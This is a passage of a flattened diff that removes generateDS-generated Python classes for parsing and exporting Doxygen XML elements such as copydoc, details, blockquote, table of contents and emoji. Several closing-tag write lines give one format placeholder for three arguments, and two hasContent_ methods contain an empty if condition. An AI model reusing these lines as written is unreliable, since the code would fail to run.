self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.link = _cast(None, link) - self.link_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if sect1 is None: - self.sect1 = [] - else: - self.sect1 = sect1 - self.sect1_nsprefix_ = None - self.internal = internal - self.internal_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docCopyType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docCopyType.subclass: - return docCopyType.subclass(*args_, **kwargs_) - else: - return docCopyType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_sect1(self): - return self.sect1 - def set_sect1(self, sect1): - self.sect1 = sect1 - def add_sect1(self, value): - self.sect1.append(value) - def insert_sect1_at(self, index, value): - self.sect1.insert(index, value) - def replace_sect1_at(self, index, value): - self.sect1[index] = value - def get_internal(self): - return self.internal - def set_internal(self, internal): - self.internal = internal - def get_link(self): - return self.link - def set_link(self, link): - self.link = link - def hasContent_(self): - if ( - self.para or - self.sect1 or - self.internal is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docCopyType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docCopyType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docCopyType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docCopyType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docCopyType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docCopyType'): - if self.link is not None and 'link' not in already_processed: - already_processed.add('link') - outfile.write(' link=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.link), input_name='link')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docCopyType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for sect1_ in self.sect1: - namespaceprefix_ = self.sect1_nsprefix_ + ':' if (UseCapturedNS_ and self.sect1_nsprefix_) else '' - sect1_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect1', pretty_print=pretty_print) - if self.internal is not None: - namespaceprefix_ = self.internal_nsprefix_ + ':' if (UseCapturedNS_ and self.internal_nsprefix_) else '' - self.internal.export(outfile, level, namespaceprefix_, namespacedef_='', name_='internal', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('link', node) - if value is not None and 'link' not in already_processed: - already_processed.add('link') - self.link = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' - elif nodeName_ == 'sect1': - obj_ = docSect1Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.sect1.append(obj_) - obj_.original_tagname_ = 'sect1' - elif nodeName_ == 'internal': - obj_ = docInternalType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.internal = obj_ - obj_.original_tagname_ = 'internal' -# end class docCopyType - - -class docDetailsType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, summary=None, para=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.summary = summary - self.summary_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docDetailsType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docDetailsType.subclass: - return docDetailsType.subclass(*args_, **kwargs_) - else: - return docDetailsType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_summary(self): - return self.summary - def set_summary(self, summary): - self.summary = summary - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def hasContent_(self): - if ( - self.summary is not None or - self.para - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docDetailsType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docDetailsType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docDetailsType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docDetailsType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docDetailsType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docDetailsType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docDetailsType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.summary is not None: - namespaceprefix_ = self.summary_nsprefix_ + ':' if (UseCapturedNS_ and self.summary_nsprefix_) else '' - self.summary.export(outfile, level, namespaceprefix_, namespacedef_='', name_='summary', pretty_print=pretty_print) - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'summary': - obj_ = docSummaryType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.summary = obj_ - obj_.original_tagname_ = 'summary' - elif nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' -# end class docDetailsType - - -class docBlockQuoteType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, para=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docBlockQuoteType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docBlockQuoteType.subclass: - return docBlockQuoteType.subclass(*args_, **kwargs_) - else: - return docBlockQuoteType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def hasContent_(self): - if ( - self.para - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docBlockQuoteType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docBlockQuoteType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docBlockQuoteType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docBlockQuoteType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docBlockQuoteType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docBlockQuoteType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docBlockQuoteType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' -# end class docBlockQuoteType - - -class docParBlockType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, para=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docParBlockType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docParBlockType.subclass: - return docParBlockType.subclass(*args_, **kwargs_) - else: - return docParBlockType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def hasContent_(self): - if ( - self.para - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParBlockType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docParBlockType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docParBlockType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docParBlockType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docParBlockType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docParBlockType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docParBlockType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' -# end class docParBlockType - - -class docEmptyType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docEmptyType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docEmptyType.subclass: - return docEmptyType.subclass(*args_, **kwargs_) - else: - return docEmptyType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docEmptyType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docEmptyType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docEmptyType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docEmptyType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docEmptyType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docEmptyType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docEmptyType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class docEmptyType - - -class tableofcontentsType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, tocsect=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if tocsect is None: - self.tocsect = [] - else: - self.tocsect = tocsect - self.tocsect_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, tableofcontentsType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if tableofcontentsType.subclass: - return tableofcontentsType.subclass(*args_, **kwargs_) - else: - return tableofcontentsType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_tocsect(self): - return self.tocsect - def set_tocsect(self, tocsect): - self.tocsect = tocsect - def add_tocsect(self, value): - self.tocsect.append(value) - def insert_tocsect_at(self, index, value): - self.tocsect.insert(index, value) - def replace_tocsect_at(self, index, value): - self.tocsect[index] = value - def hasContent_(self): - if ( - self.tocsect - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='tableofcontentsType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('tableofcontentsType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'tableofcontentsType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='tableofcontentsType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='tableofcontentsType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='tableofcontentsType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='tableofcontentsType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for tocsect_ in self.tocsect: - namespaceprefix_ = self.tocsect_nsprefix_ + ':' if (UseCapturedNS_ and self.tocsect_nsprefix_) else '' - tocsect_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='tocsect', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'tocsect': - obj_ = tableofcontentsKindType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.tocsect.append(obj_) - obj_.original_tagname_ = 'tocsect' -# end class tableofcontentsType - - -class tableofcontentsKindType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, name=None, reference=None, tableofcontents=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.name = name - self.name_nsprefix_ = None - self.reference = reference - self.reference_nsprefix_ = None - if tableofcontents is None: - self.tableofcontents = [] - else: - self.tableofcontents = tableofcontents - self.tableofcontents_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, tableofcontentsKindType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if tableofcontentsKindType.subclass: - return tableofcontentsKindType.subclass(*args_, **kwargs_) - else: - return tableofcontentsKindType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_reference(self): - return self.reference - def set_reference(self, reference): - self.reference = reference - def get_tableofcontents(self): - return self.tableofcontents - def set_tableofcontents(self, tableofcontents): - self.tableofcontents = tableofcontents - def add_tableofcontents(self, value): - self.tableofcontents.append(value) - def insert_tableofcontents_at(self, index, value): - self.tableofcontents.insert(index, value) - def replace_tableofcontents_at(self, index, value): - self.tableofcontents[index] = value - def hasContent_(self): - if ( - self.name is not None or - self.reference is not None or - self.tableofcontents - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='tableofcontentsKindType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('tableofcontentsKindType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'tableofcontentsKindType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='tableofcontentsKindType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='tableofcontentsKindType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='tableofcontentsKindType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='tableofcontentsKindType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.name is not None: - namespaceprefix_ = self.name_nsprefix_ + ':' if (UseCapturedNS_ and self.name_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.name), input_name='name')), namespaceprefix_ , eol_)) - if self.reference is not None: - namespaceprefix_ = self.reference_nsprefix_ + ':' if (UseCapturedNS_ and self.reference_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sreference>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.reference), input_name='reference')), namespaceprefix_ , eol_)) - for tableofcontents_ in self.tableofcontents: - namespaceprefix_ = self.tableofcontents_nsprefix_ + ':' if (UseCapturedNS_ and self.tableofcontents_nsprefix_) else '' - tableofcontents_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='tableofcontents', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'name': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'name') - value_ = self.gds_validate_string(value_, node, 'name') - self.name = value_ - self.name_nsprefix_ = child_.prefix - elif nodeName_ == 'reference': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'reference') - value_ = self.gds_validate_string(value_, node, 'reference') - self.reference = value_ - self.reference_nsprefix_ = child_.prefix - elif nodeName_ == 'tableofcontents': - obj_ = tableofcontentsType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.tableofcontents.append(obj_) - obj_.original_tagname_ = 'tableofcontents' -# end class tableofcontentsKindType - - -class docEmojiType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, name=None, unicode=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.name = _cast(None, name) - self.name_nsprefix_ = None - self.unicode = _cast(None, unicode) - self.unicode_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docEmojiType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docEmojiType.subclass: - return docEmojiType.subclass(*args_, **kwargs_) - else: - return docEmojiType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_unicode(self): - return self.unicode - def set_unicode(self, unicode): - self.unicode = unicode - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docEmojiType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docEmojiType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docEmojiType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docEmojiType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docEmojiType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docEmojiType'): - if self.name is not None and 'name' not in already_processed: - already_processed.add('name') - outfile.write(' name=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.name), input_name='name')), )) - if self.unicode is not None and 'unicode' not in already_processed: - already_processed.add('unicode') - outfile.write(' unicode=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.unicode), input_name='unicode')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docEmojiType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('name', node) - if value is not None and 'name' not in already_processed: - already_processed.add('name') - self.name = value - value = find_attr_value_('unicode', node) - if value is not None and 'unicode' not in already_processed: - already_processed.add('unicode') - self.unicode = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, 